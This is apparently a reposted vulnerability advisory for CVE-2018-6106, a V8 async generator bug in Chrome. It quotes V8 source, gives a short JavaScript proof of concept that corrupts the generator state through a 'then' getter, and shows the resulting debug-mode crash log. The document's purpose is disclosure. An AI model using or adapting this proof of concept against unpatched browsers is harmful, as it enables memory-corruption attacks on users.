Google Chrome V8 AwaitedPromise Update Bug

2018.04.28
Risk: Low
Local: No
Remote: Yes
CWE: CWE-19


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Chrome: V8: AwaitedPromise update bug CVE-2018-6106 Here's a snippet of AsyncGeneratorReturn. (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650</a>) Node* const context = Parameter(Descriptor::kContext); Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req); Node* const promise = Await(context, generator, value, outer_promise, AwaitContext::kLength, init_closure_context, var_on_resolve.value(), var_on_reject.value(), is_caught); CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator)); StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset, promise); The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state. PoC: async function* asyncGenerator() { } let gen = asyncGenerator(); gen.return({ get then() { delete this.then; gen.next(); } }); Log in debug mode: abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328] ==== JS stack trace ========================================= Security context: 0x2b29083a3a71 <JSObject>#0# 2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) ==== Details ================================================ [2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) { // optimized frame --------- s o u r c e c o d e --------- <No Source> ----------------------------------------- } ==== Key ============================================ #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject> #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object> #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91> ===================== Received signal 4 ILL_ILLOPN 7fb143ae2781 ==== C stack trace =============================== [0x7fb143ae643e] [0x7fb143ae6395] [0x7fb1436ce390] [0x7fb143ae2781] [0x7fb1430f23ae] [0x7fb1430f1ef7] [0x1c8e08204384] [end of stack trace] Illegal instruction This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


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